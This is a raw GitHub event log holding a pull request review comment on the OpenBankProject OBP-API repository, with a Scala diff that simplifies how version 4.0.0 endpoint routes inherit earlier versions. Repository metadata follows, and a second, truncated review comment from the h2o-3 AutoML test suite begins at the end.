//Implementations2_1_0.answerTransactionRequestChallenge ::\n- // Implementations2_1_0.getTransactionRequests ::\n- Implementations2_1_0.getRoles ::\n- Implementations2_1_0.getEntitlementsByBankAndUser ::\n- // Implementations2_1_0.getConsumer ::\n- // Implementations2_1_0.getConsumers ::\n- Implementations2_1_0.enableDisableConsumers ::\n-// Implementations2_1_0.addCardForBank ::\n- // Implementations2_1_0.getUsers ::\n- Implementations2_1_0.createTransactionType ::\n- // Implementations2_1_0.getAtm :: //now in V300\n- // Implementations2_1_0.getBranch :: //now in V300\n- Implementations2_1_0.updateBranch ::\n- // Implementations2_1_0.getProduct ::\n- // Implementations2_1_0.getProducts ::\n- // Implementations2_1_0.createCustomer ::\n- Implementations2_1_0.getCustomersForCurrentUserAtBank ::\n- // Implementations2_1_0.getCustomersForUser ::\n- Implementations2_1_0.updateConsumerRedirectUrl ::\n- Implementations2_1_0.getMetrics ::\n- Nil\n-\n-\n- // Possible Endpoints from 2.1.0\n- val endpointsOf2_2_0 = Implementations2_2_0.getCurrentFxRate ::\n- Implementations2_2_0.createFx ::\n- Implementations2_2_0.getExplictCounterpartiesForAccount ::\n- Implementations2_2_0.getExplictCounterpartyById ::\n- Implementations2_2_0.getMessageDocs ::\n- Implementations2_2_0.createBank ::\n- // Implementations2_2_0.createAccount ::\n- //Implementations2_2_0.createAtm ::\n- //Implementations2_2_0.createProduct ::\n-// Implementations2_2_0.config ::\n- Implementations2_2_0.getConnectorMetrics ::\n- Implementations2_2_0.createCounterparty ::\n- //Implementations2_2_0.getCustomersForUser ::\n- //Implementations2_2_0.getCoreTransactionsForBankAccount ::\n- Nil\n-\n- \n- // Possible Endpoints from 3.0.0\n- val endpointsOf3_0_0 = Implementations3_0_0.getCoreTransactionsForBankAccount ::\n- Implementations3_0_0.getTransactionsForBankAccount ::\n- // Implementations3_0_0.getPrivateAccountById ::\n- Implementations3_0_0.getPublicAccountById ::\n- Implementations3_0_0.getCoreAccountById ::\n- Implementations3_0_0.getViewsForBankAccount ::\n- Implementations3_0_0.createViewForBankAccount ::\n- Implementations3_0_0.updateViewForBankAccount ::\n- Implementations3_0_0.corePrivateAccountsAllBanks ::\n- Implementations3_0_0.dataWarehouseSearch ::\n- Implementations3_0_0.getUser ::\n- Implementations3_0_0.getUserByUserId ::\n- Implementations3_0_0.getUserByUsername ::\n- Implementations3_0_0.getAdapterInfoForBank ::\n- Implementations3_0_0.createBranch ::\n- Implementations3_0_0.getBranches ::\n- Implementations3_0_0.getBranch ::\n- Implementations3_0_0.createAtm ::\n- Implementations3_0_0.getAtm ::\n- Implementations3_0_0.getAtms ::\n- Implementations3_0_0.getUsers ::\n- Implementations3_0_0.getCustomersForUser ::\n- Implementations3_0_0.getCurrentUser ::\n- Implementations3_0_0.privateAccountsAtOneBank ::\n- Implementations3_0_0.getPrivateAccountIdsbyBankId ::\n- Implementations3_0_0.getOtherAccountsForBankAccount ::\n- Implementations3_0_0.getOtherAccountByIdForBankAccount ::\n- Implementations3_0_0.addEntitlementRequest ::\n- Implementations3_0_0.getAllEntitlementRequests ::\n- Implementations3_0_0.getEntitlementRequests ::\n- Implementations3_0_0.deleteEntitlementRequest ::\n- Implementations3_0_0.dataWarehouseStatistics ::\n- Implementations3_0_0.getEntitlementRequestsForCurrentUser ::\n- Implementations3_0_0.getFirehoseAccountsAtOneBank ::\n- Implementations3_0_0.getEntitlementsForCurrentUser ::\n- Implementations3_0_0.getFirehoseTransactionsForBankAccount ::\n- Implementations3_0_0.getApiGlossary ::\n- Implementations3_0_0.getAccountsHeld ::\n- Implementations3_0_0.getAggregateMetrics ::\n- Implementations3_0_0.addScope ::\n- Implementations3_0_0.deleteScope ::\n- Implementations3_0_0.getScopes ::\n- // Implementations3_0_0.getBanks ::\n- Implementations3_0_0.bankById ::\n- Implementations3_0_0.getPermissionForUserForBankAccount ::\n- Nil\n-\n-\n- // Possible Endpoints from 3.0.0 Custom Folder\n- val endpointsOfCustom3_0_0 = ImplementationsCustom3_0_0.endpointsOfCustom3_0_0\n- \n- // Possible Endpoints from 3.1.0\n- val endpointsOf3_1_0 = Implementations3_1_0.getCheckbookOrders :: \n- Implementations3_1_0.getStatusOfCreditCardOrder ::\n- Implementations3_1_0.createCreditLimitRequest ::\n- Implementations3_1_0.getCreditLimitRequests ::\n- Implementations3_1_0.getCreditLimitRequestByRequestId ::\n- Implementations3_1_0.getTopAPIs ::\n- Implementations3_1_0.getMetricsTopConsumers ::\n- Implementations3_1_0.getFirehoseCustomers ::\n- Implementations3_1_0.getBadLoginStatus ::\n- Implementations3_1_0.unlockUser ::\n- Implementations3_1_0.callsLimit ::\n- Implementations3_1_0.getCallsLimit ::\n- Implementations3_1_0.checkFundsAvailable ::\n- Implementations3_1_0.getConsumer ::\n- Implementations3_1_0.getConsumersForCurrentUser ::\n- Implementations3_1_0.getConsumers ::\n- Implementations3_1_0.createAccountWebhook ::\n- Implementations3_1_0.enableDisableAccountWebhook ::\n- Implementations3_1_0.getAccountWebhooks ::\n- Implementations3_1_0.config ::\n- Implementations3_1_0.getAdapterInfo ::\n- Implementations3_1_0.getTransactionByIdForBankAccount ::\n- Implementations3_1_0.getTransactionRequests ::\n- Implementations3_1_0.createCustomer ::\n- Implementations3_1_0.getRateLimitingInfo ::\n- Implementations3_1_0.getCustomerByCustomerId ::\n- Implementations3_1_0.getCustomerByCustomerNumber ::\n- Implementations3_1_0.createUserAuthContext ::\n- Implementations3_1_0.getUserAuthContexts ::\n- Implementations3_1_0.deleteUserAuthContexts::\n- Implementations3_1_0.deleteUserAuthContextById::\n- Implementations3_1_0.createTaxResidence ::\n- Implementations3_1_0.getTaxResidence ::\n- Implementations3_1_0.deleteTaxResidence ::\n- Implementations3_1_0.getAllEntitlements ::\n- Implementations3_1_0.createCustomerAddress ::\n- Implementations3_1_0.getCustomerAddresses ::\n- Implementations3_1_0.deleteCustomerAddress ::\n- Implementations3_1_0.getObpApiLoopback ::\n- Implementations3_1_0.refreshUser ::\n- Implementations3_1_0.createProductAttribute ::\n- Implementations3_1_0.getProductAttribute ::\n- Implementations3_1_0.updateProductAttribute ::\n- Implementations3_1_0.deleteProductAttribute ::\n- Implementations3_1_0.createAccountApplication ::\n- Implementations3_1_0.getAccountApplications ::\n- Implementations3_1_0.getAccountApplication ::\n- Implementations3_1_0.updateAccountApplicationStatus ::\n- Implementations3_1_0.createProduct ::\n- Implementations3_1_0.updateCustomerAddress ::\n- Implementations3_1_0.getProduct ::\n- Implementations3_1_0.getProducts ::\n- Implementations3_1_0.getProductTree ::\n- Implementations3_1_0.createProductCollection ::\n- Implementations3_1_0.getProductCollection ::\n- Implementations3_1_0.createAccountAttribute ::\n- Implementations3_1_0.updateAccountAttribute ::\n- Implementations3_1_0.deleteBranch ::\n- Implementations3_1_0.createMeeting ::\n- Implementations3_1_0.getMeetings ::\n- Implementations3_1_0.getMeeting ::\n- Implementations3_1_0.getServerJWK ::\n- Implementations3_1_0.createConsent ::\n- Implementations3_1_0.answerConsentChallenge ::\n- Implementations3_1_0.getConsents ::\n- Implementations3_1_0.revokeConsent ::\n- Implementations3_1_0.createUserAuthContextUpdate ::\n- Implementations3_1_0.answerUserAuthContextUpdateChallenge ::\n- Implementations3_1_0.getSystemView ::\n- Implementations3_1_0.createSystemView ::\n- Implementations3_1_0.deleteSystemView ::\n- Implementations3_1_0.updateSystemView ::\n- Implementations3_1_0.getOAuth2ServerJWKsURIs ::\n- Implementations3_1_0.getMessageDocsSwagger ::\n- Implementations3_1_0.updateCustomerEmail ::\n- Implementations3_1_0.updateCustomerMobileNumber ::\n- Implementations3_1_0.updateAccount :: \n- Implementations3_1_0.addCardForBank :: \n- Implementations3_1_0.deleteCardForBank :: \n- Implementations3_1_0.getCardForBank :: \n- Implementations3_1_0.getCardsForBank :: \n- Implementations3_1_0.updatedCardForBank :: \n- Implementations3_1_0.updateCustomerIdentity ::\n- Implementations3_1_0.updateCustomerBranch ::\n- Implementations3_1_0.updateCustomerCreditLimit ::\n- Implementations3_1_0.updateCustomerCreditRatingAndSource ::\n- Implementations3_1_0.updateCustomerData ::\n- Implementations3_1_0.getMethodRoutings ::\n- Implementations3_1_0.createMethodRouting ::\n- Implementations3_1_0.updateMethodRouting ::\n- Implementations3_1_0.deleteMethodRouting ::\n- Implementations3_1_0.updateCustomerNumber ::\n- Implementations3_1_0.createAccount ::\n- Implementations3_1_0.getPrivateAccountByIdFull ::\n- Implementations3_1_0.saveHistoricalTransaction ::\n- Implementations3_1_0.createCardAttribute ::\n- Implementations3_1_0.updateCardAttribute ::\n- Implementations3_1_0.getWebUiProps ::\n- Implementations3_1_0.createWebUiProps ::\n- Implementations3_1_0.deleteWebUiProps ::\n- Implementations3_1_0.getBankAccountsBalances ::\n- Nil\n- \n- \n- // Possible Endpoints from 4.0.0\n- val endpointsOf4_0_0 = \n- Implementations4_0_0.getBanks :: \n- Implementations4_0_0.createTransactionRequest :: \n- Implementations4_0_0.answerTransactionRequestChallenge ::\n- Implementations4_0_0.getDynamicEntities ::\n- Implementations4_0_0.createDynamicEntity ::\n- Implementations4_0_0.updateDynamicEntity ::\n- Implementations4_0_0.deleteDynamicEntity ::\n- Implementations4_0_0.genericEndpoint ::\n- Implementations4_0_0.resetPasswordUrl ::\n- Implementations4_0_0.root ::\n- Implementations4_0_0.getEntitlements ::\n- Nil\n+ // Possible Endpoints from 4.0.0, exclude one endpoint use - method,exclude multiple endpoints use -- method,\n+ // e.g getEndpoints(Implementations4_0_0) -- List(Implementations4_0_0.genericEndpoint, Implementations4_0_0.root)\n+ val endpointsOf4_0_0 = getEndpoints(Implementations4_0_0) - Implementations4_0_0.genericEndpoint\n \n def allResourceDocs = MockerConnector.doc ++\n Implementations4_0_0.resourceDocs ++\n- Implementations3_1_0.resourceDocs ++\n- Implementations3_0_0.resourceDocs ++\n- ImplementationsCustom3_0_0.resourceDocs ++\n- Implementations2_2_0.resourceDocs ++\n- Implementations2_1_0.resourceDocs ++\n- Implementations2_0_0.resourceDocs ++\n- Implementations1_4_0.resourceDocs ++\n- Implementations1_3_0.resourceDocs ++\n- Implementations1_2_1.resourceDocs\n+ OBPAPI3_1_0.allResourceDocs\n+\n \n def findResourceDoc(pf: OBPEndpoint): Option[ResourceDoc] = {\n allResourceDocs.find(_.partialFunction==pf)\n }\n \n // Filter the possible endpoints by the disabled / enabled Props settings and add them together\n val routes : List[OBPEndpoint] =\n- Implementations4_0_0.genericEndpoint ::\n Implementations4_0_0.root :: // For now we make this mandatory\n- getAllowedEndpoints(endpointsOf1_2_1, Implementations1_2_1.resourceDocs) :::\n- getAllowedEndpoints(endpointsOf1_3_0, Implementations1_3_0.resourceDocs) :::\n- getAllowedEndpoints(endpointsOf1_4_0, Implementations1_4_0.resourceDocs) :::\n- getAllowedEndpoints(endpointsOf2_0_0, Implementations2_0_0.resourceDocs) :::\n- getAllowedEndpoints(endpointsOf2_1_0, Implementations2_1_0.resourceDocs) :::\n- getAllowedEndpoints(endpointsOf2_2_0, Implementations2_2_0.resourceDocs) :::\n- getAllowedEndpoints(endpointsOf3_0_0, Implementations3_0_0.resourceDocs) :::\n- getAllowedEndpoints(endpointsOfCustom3_0_0, ImplementationsCustom3_0_0.resourceDocs) :::\n- getAllowedEndpoints(endpointsOf3_1_0, Implementations3_1_0.resourceDocs) :::\n- getAllowedEndpoints(endpointsOf4_0_0, Implementations4_0_0.resourceDocs)\n+ getAllowedEndpoints(endpointsOf4_0_0, Implementations4_0_0.resourceDocs) ++\n+ OBPAPI3_1_0.routes // ***** here the previous version routes added at last, so there no need exclude any previous endpoints, because they will be omit.","path":"obp-api/src/main/scala/code/api/v4_0_0/OBPAPI4_0_0.scala","position":401,"original_position":401,"commit_id":"c00d5fc3925ce5787d87f4210a52dfd0ff72566a","original_commit_id":"c00d5fc3925ce5787d87f4210a52dfd0ff72566a","user":{"login":"oldbig","id":2577334,"node_id":"MDQ6VXNlcjI1NzczMzQ=","avatar_url":"https://avatars1.githubusercontent.com/u/2577334?v=4","gravatar_id":"","url":"https://api.github.com/users/oldbig","html_url":"https://github.com/oldbig","followers_url":"https://api.github.com/users/oldbig/followers","following_url":"https://api.github.com/users/oldbig/following{/other_user}","gists_url":"https://api.github.com/users/oldbig/gists{/gist_id}","starred_url":"https://api.github.com/users/oldbig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/oldbig/subscriptions","organizations_url":"https://api.github.com/users/oldbig/orgs","repos_url":"https://api.github.com/users/oldbig/repos","events_url":"https://api.github.com/users/oldbig/events{/privacy}","received_events_url":"https://api.github.com/users/oldbig/received_events","type":"User","site_admin":false},"body":"the previous routes add here, no need exclude anyone, because version 4.0.0 endpoints lay before this line, so they have high priority, So we don't need to exclude endpoints as before.","created_at":"2019-10-17T13:58:24Z","updated_at":"2019-10-17T13:58:24Z","html_url":"https://github.com/OpenBankProject/OBP-API/pull/1436#discussion_r336020928","pull_request_url":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/1436","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/comments/336020928"},"html":{"href":"https://github.com/OpenBankProject/OBP-API/pull/1436#discussion_r336020928"},"pull_request":{"href":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/1436"}}},"pull_request":{"url":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/1436","id":328776276,"node_id":"MDExOlB1bGxSZXF1ZXN0MzI4Nzc2Mjc2","html_url":"https://github.com/OpenBankProject/OBP-API/pull/1436","diff_url":"https://github.com/OpenBankProject/OBP-API/pull/1436.diff","patch_url":"https://github.com/OpenBankProject/OBP-API/pull/1436.patch","issue_url":"https://api.github.com/repos/OpenBankProject/OBP-API/issues/1436","number":1436,"state":"open","locked":false,"title":"Bugfix/compile stackoverflow","user":{"login":"oldbig","id":2577334,"node_id":"MDQ6VXNlcjI1NzczMzQ=","avatar_url":"https://avatars1.githubusercontent.com/u/2577334?v=4","gravatar_id":"","url":"https://api.github.com/users/oldbig","html_url":"https://github.com/oldbig","followers_url":"https://api.github.com/users/oldbig/followers","following_url":"https://api.github.com/users/oldbig/following{/other_user}","gists_url":"https://api.github.com/users/oldbig/gists{/gist_id}","starred_url":"https://api.github.com/users/oldbig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/oldbig/subscriptions","organizations_url":"https://api.github.com/users/oldbig/orgs","repos_url":"https://api.github.com/users/oldbig/repos","events_url":"https://api.github.com/users/oldbig/events{/privacy}","received_events_url":"https://api.github.com/users/oldbig/received_events","type":"User","site_admin":false},"body":"Fix compile-time StackOverflow error.\r\nAnd fix all compile warnings imported in recently.\r\nWaiting for jenkins job pass.","created_at":"2019-10-16T13:58:55Z","updated_at":"2019-10-17T13:58:24Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e60ef17662b04c582a9734272e716fd202047419","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/1436/commits","review_comments_url":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/1436/comments","review_comment_url":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/comments{/number}","comments_url":"https://api.github.com/repos/OpenBankProject/OBP-API/issues/1436/comments","statuses_url":"https://api.github.com/repos/OpenBankProject/OBP-API/statuses/c00d5fc3925ce5787d87f4210a52dfd0ff72566a","head":{"label":"oldbig:bugfix/compile_stackoverflow","ref":"bugfix/compile_stackoverflow","sha":"c00d5fc3925ce5787d87f4210a52dfd0ff72566a","user":{"login":"oldbig","id":2577334,"node_id":"MDQ6VXNlcjI1NzczMzQ=","avatar_url":"https://avatars1.githubusercontent.com/u/2577334?v=4","gravatar_id":"","url":"https://api.github.com/users/oldbig","html_url":"https://github.com/oldbig","followers_url":"https://api.github.com/users/oldbig/followers","following_url":"https://api.github.com/users/oldbig/following{/other_user}","gists_url":"https://api.github.com/users/oldbig/gists{/gist_id}","starred_url":"https://api.github.com/users/oldbig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/oldbig/subscriptions","organizations_url":"https://api.github.com/users/oldbig/orgs","repos_url":"https://api.github.com/users/oldbig/repos","events_url":"https://api.github.com/users/oldbig/events{/privacy}","received_events_url":"https://api.github.com/users/oldbig/received_events","type":"User","site_admin":false},"repo":{"id":169534252,"node_id":"MDEwOlJlcG9zaXRvcnkxNjk1MzQyNTI=","name":"OBP-API","full_name":"oldbig/OBP-API","private":false,"owner":{"login":"oldbig","id":2577334,"node_id":"MDQ6VXNlcjI1NzczMzQ=","avatar_url":"https://avatars1.githubusercontent.com/u/2577334?v=4","gravatar_id":"","url":"https://api.github.com/users/oldbig","html_url":"https://github.com/oldbig","followers_url":"https://api.github.com/users/oldbig/followers","following_url":"https://api.github.com/users/oldbig/following{/other_user}","gists_url":"https://api.github.com/users/oldbig/gists{/gist_id}","starred_url":"https://api.github.com/users/oldbig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/oldbig/subscriptions","organizations_url":"https://api.github.com/users/oldbig/orgs","repos_url":"https://api.github.com/users/oldbig/repos","events_url":"https://api.github.com/users/oldbig/events{/privacy}","received_events_url":"https://api.github.com/users/oldbig/received_events","type":"User","site_admin":false},"html_url":"https://github.com/oldbig/OBP-API","description":"An open source RESTful API platform for banks that supports Open Banking, XS2A and PSD2 through access to accounts, transactions, counterparties, payments, entitlements and metadata - plus a host of internal banking and management APIs.","fork":true,"url":"https://api.github.com/repos/oldbig/OBP-API","forks_url":"https://api.github.com/repos/oldbig/OBP-API/forks","keys_url":"https://api.github.com/repos/oldbig/OBP-API/keys{/key_id}","collaborators_url":"https://api.github.com/repos/oldbig/OBP-API/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/oldbig/OBP-API/teams","hooks_url":"https://api.github.com/repos/oldbig/OBP-API/hooks","issue_events_url":"https://api.github.com/repos/oldbig/OBP-API/issues/events{/number}","events_url":"https://api.github.com/repos/oldbig/OBP-API/events","assignees_url":"https://api.github.com/repos/oldbig/OBP-API/assignees{/user}","branches_url":"https://api.github.com/repos/oldbig/OBP-API/branches{/branch}","tags_url":"https://api.github.com/repos/oldbig/OBP-API/tags","blobs_url":"https://api.github.com/repos/oldbig/OBP-API/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/oldbig/OBP-API/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/oldbig/OBP-API/git/refs{/sha}","trees_url":"https://api.github.com/repos/oldbig/OBP-API/git/trees{/sha}","statuses_url":"https://api.github.com/repos/oldbig/OBP-API/statuses/{sha}","languages_url":"https://api.github.com/repos/oldbig/OBP-API/languages","stargazers_url":"https://api.github.com/repos/oldbig/OBP-API/stargazers","contributors_url":"https://api.github.com/repos/oldbig/OBP-API/contributors","subscribers_url":"https://api.github.com/repos/oldbig/OBP-API/subscribers","subscription_url":"https://api.github.com/repos/oldbig/OBP-API/subscription","commits_url":"https://api.github.com/repos/oldbig/OBP-API/commits{/sha}","git_commits_url":"https://api.github.com/repos/oldbig/OBP-API/git/commits{/sha}","comments_url":"https://api.github.com/repos/oldbig/OBP-API/comments{/number}","issue_comment_url":"https://api.github.com/repos/oldbig/OBP-API/issues/comments{/number}","contents_url":"https://api.github.com/repos/oldbig/OBP-API/contents/{+path}","compare_url":"https://api.github.com/repos/oldbig/OBP-API/compare/{base}...{head}","merges_url":"https://api.github.com/repos/oldbig/OBP-API/merges","archive_url":"https://api.github.com/repos/oldbig/OBP-API/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/oldbig/OBP-API/downloads","issues_url":"https://api.github.com/repos/oldbig/OBP-API/issues{/number}","pulls_url":"https://api.github.com/repos/oldbig/OBP-API/pulls{/number}","milestones_url":"https://api.github.com/repos/oldbig/OBP-API/milestones{/number}","notifications_url":"https://api.github.com/repos/oldbig/OBP-API/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/oldbig/OBP-API/labels{/name}","releases_url":"https://api.github.com/repos/oldbig/OBP-API/releases{/id}","deployments_url":"https://api.github.com/repos/oldbig/OBP-API/deployments","created_at":"2019-02-07T07:27:10Z","updated_at":"2019-09-30T15:53:24Z","pushed_at":"2019-10-17T13:32:07Z","git_url":"git://github.com/oldbig/OBP-API.git","ssh_url":"git@github.com:oldbig/OBP-API.git","clone_url":"https://github.com/oldbig/OBP-API.git","svn_url":"https://github.com/oldbig/OBP-API","homepage":"https://www.openbankproject.com/","size":20538,"stargazers_count":0,"watchers_count":0,"language":"Scala","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"develop"}},"base":{"label":"OpenBankProject:develop","ref":"develop","sha":"20293fdbea87beda0bec4c9d112ed2ee09b1cb63","user":{"login":"OpenBankProject","id":1379459,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNzk0NTk=","avatar_url":"https://avatars3.githubusercontent.com/u/1379459?v=4","gravatar_id":"","url":"https://api.github.com/users/OpenBankProject","html_url":"https://github.com/OpenBankProject","followers_url":"https://api.github.com/users/OpenBankProject/followers","following_url":"https://api.github.com/users/OpenBankProject/following{/other_user}","gists_url":"https://api.github.com/users/OpenBankProject/gists{/gist_id}","starred_url":"https://api.github.com/users/OpenBankProject/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OpenBankProject/subscriptions","organizations_url":"https://api.github.com/users/OpenBankProject/orgs","repos_url":"https://api.github.com/users/OpenBankProject/repos","events_url":"https://api.github.com/users/OpenBankProject/events{/privacy}","received_events_url":"https://api.github.com/users/OpenBankProject/received_events","type":"Organization","site_admin":false},"repo":{"id":6776281,"node_id":"MDEwOlJlcG9zaXRvcnk2Nzc2Mjgx","name":"OBP-API","full_name":"OpenBankProject/OBP-API","private":false,"owner":{"login":"OpenBankProject","id":1379459,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNzk0NTk=","avatar_url":"https://avatars3.githubusercontent.com/u/1379459?v=4","gravatar_id":"","url":"https://api.github.com/users/OpenBankProject","html_url":"https://github.com/OpenBankProject","followers_url":"https://api.github.com/users/OpenBankProject/followers","following_url":"https://api.github.com/users/OpenBankProject/following{/other_user}","gists_url":"https://api.github.com/users/OpenBankProject/gists{/gist_id}","starred_url":"https://api.github.com/users/OpenBankProject/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OpenBankProject/subscriptions","organizations_url":"https://api.github.com/users/OpenBankProject/orgs","repos_url":"https://api.github.com/users/OpenBankProject/repos","events_url":"https://api.github.com/users/OpenBankProject/events{/privacy}","received_events_url":"https://api.github.com/users/OpenBankProject/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/OpenBankProject/OBP-API","description":"An open source RESTful API platform for banks that supports Open Banking, XS2A and PSD2 through access to accounts, transactions, counterparties, payments, entitlements and metadata - plus a host of internal banking and management APIs.","fork":false,"url":"https://api.github.com/repos/OpenBankProject/OBP-API","forks_url":"https://api.github.com/repos/OpenBankProject/OBP-API/forks","keys_url":"https://api.github.com/repos/OpenBankProject/OBP-API/keys{/key_id}","collaborators_url":"https://api.github.com/repos/OpenBankProject/OBP-API/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/OpenBankProject/OBP-API/teams","hooks_url":"https://api.github.com/repos/OpenBankProject/OBP-API/hooks","issue_events_url":"https://api.github.com/repos/OpenBankProject/OBP-API/issues/events{/number}","events_url":"https://api.github.com/repos/OpenBankProject/OBP-API/events","assignees_url":"https://api.github.com/repos/OpenBankProject/OBP-API/assignees{/user}","branches_url":"https://api.github.com/repos/OpenBankProject/OBP-API/branches{/branch}","tags_url":"https://api.github.com/repos/OpenBankProject/OBP-API/tags","blobs_url":"https://api.github.com/repos/OpenBankProject/OBP-API/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/OpenBankProject/OBP-API/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/OpenBankProject/OBP-API/git/refs{/sha}","trees_url":"https://api.github.com/repos/OpenBankProject/OBP-API/git/trees{/sha}","statuses_url":"https://api.github.com/repos/OpenBankProject/OBP-API/statuses/{sha}","languages_url":"https://api.github.com/repos/OpenBankProject/OBP-API/languages","stargazers_url":"https://api.github.com/repos/OpenBankProject/OBP-API/stargazers","contributors_url":"https://api.github.com/repos/OpenBankProject/OBP-API/contributors","subscribers_url":"https://api.github.com/repos/OpenBankProject/OBP-API/subscribers","subscription_url":"https://api.github.com/repos/OpenBankProject/OBP-API/subscription","commits_url":"https://api.github.com/repos/OpenBankProject/OBP-API/commits{/sha}","git_commits_url":"https://api.github.com/repos/OpenBankProject/OBP-API/git/commits{/sha}","comments_url":"https://api.github.com/repos/OpenBankProject/OBP-API/comments{/number}","issue_comment_url":"https://api.github.com/repos/OpenBankProject/OBP-API/issues/comments{/number}","contents_url":"https://api.github.com/repos/OpenBankProject/OBP-API/contents/{+path}","compare_url":"https://api.github.com/repos/OpenBankProject/OBP-API/compare/{base}...{head}","merges_url":"https://api.github.com/repos/OpenBankProject/OBP-API/merges","archive_url":"https://api.github.com/repos/OpenBankProject/OBP-API/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/OpenBankProject/OBP-API/downloads","issues_url":"https://api.github.com/repos/OpenBankProject/OBP-API/issues{/number}","pulls_url":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls{/number}","milestones_url":"https://api.github.com/repos/OpenBankProject/OBP-API/milestones{/number}","notifications_url":"https://api.github.com/repos/OpenBankProject/OBP-API/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/OpenBankProject/OBP-API/labels{/name}","releases_url":"https://api.github.com/repos/OpenBankProject/OBP-API/releases{/id}","deployments_url":"https://api.github.com/repos/OpenBankProject/OBP-API/deployments","created_at":"2012-11-20T10:45:14Z","updated_at":"2019-10-16T06:07:46Z","pushed_at":"2019-10-17T13:32:09Z","git_url":"git://github.com/OpenBankProject/OBP-API.git","ssh_url":"git@github.com:OpenBankProject/OBP-API.git","clone_url":"https://github.com/OpenBankProject/OBP-API.git","svn_url":"https://github.com/OpenBankProject/OBP-API","homepage":"https://www.openbankproject.com/","size":21025,"stargazers_count":1144,"watchers_count":1144,"language":"Scala","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":314,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":209,"license":null,"forks":314,"open_issues":209,"watchers":1144,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/1436"},"html":{"href":"https://github.com/OpenBankProject/OBP-API/pull/1436"},"issue":{"href":"https://api.github.com/repos/OpenBankProject/OBP-API/issues/1436"},"comments":{"href":"https://api.github.com/repos/OpenBankProject/OBP-API/issues/1436/comments"},"review_comments":{"href":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/1436/comments"},"review_comment":{"href":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/OpenBankProject/OBP-API/pulls/1436/commits"},"statuses":{"href":"https://api.github.com/repos/OpenBankProject/OBP-API/statuses/c00d5fc3925ce5787d87f4210a52dfd0ff72566a"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 6776281,
"name": "OpenBankProject/OBP-API",
"url": "https://api.github.com/repos/OpenBankProject/OBP-API"
}
|
{
"id": 2577334,
"login": "oldbig",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2577334?",
"url": "https://api.github.com/users/oldbig"
}
|
{
"id": 1379459,
"login": "OpenBankProject",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1379459?",
"url": "https://api.github.com/orgs/OpenBankProject"
}
| 2019-10-17T13:58:24 |
10653168348
|
{"actor":{"display_login":"oldbig"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/h2oai/h2o-3/pulls/comments/356180640","pull_request_review_id":330020883,"id":356180640,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM1NjE4MDY0MA==","diff_hunk":"@@ -293,6 +293,29 @@ def test_AUTO_stopping_metric_with_custom_sorting_metric():\n check_model_property(non_se, 'stopping_metric', True, \"RMSE\")\n \n \n+def test_custom_leaderboard():\n+ print(\"Check custom leaderboard\")\n+ ds = prepare_data('binomial')\n+ aml = H2OAutoML(project_name=\"py_aml_custom_lb_test\",","path":"h2o-py/tests/testdir_algos/automl/pyunit_automl_leaderboard.py","position":25,"original_position":25,"commit_id":"304e16e128bad75e7cb17f6ef9c3a21297e3ad0c","original_commit_id":"43ae68c4a31144957dda9ccdebed2e5abdaa978e","user":{"login":"deil87","id":1162131,"node_id":"MDQ6VXNlcjExNjIxMzE=","avatar_url":"https://avatars0.githubusercontent.com/u/1162131?v=4","gravatar_id":"","url":"https://api.github.com/users/deil87","html_url":"https://github.com/deil87","followers_url":"https://api.github.com/users/deil87/followers","following_url":"https://api.github.com/users/deil87/following{/other_user}","gists_url":"https://api.github.com/users/deil87/gists{/gist_id}","starred_url":"https://api.github.com/users/deil87/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/deil87/subscriptions","organizations_url":"https://api.github.com/users/deil87/orgs","repos_url":"https://api.github.com/users/deil87/repos","events_url":"https://api.github.com/users/deil87/events{/privacy}","received_events_url":"https://api.github.com/users/deil87/received_events","type":"User","site_admin":false},"body":"It was not about duplicating features but about making original one to be working with new extensions ( which could be seen as columns we might want to sort by as well). The only point I wanted to communicate is that we already have this feature and to support it we would want to support sorting based on extension columns. If we don't wan't to support we need to deprecate existing `sort_metric` and suggest to use sorting from Frames. But as you have said those 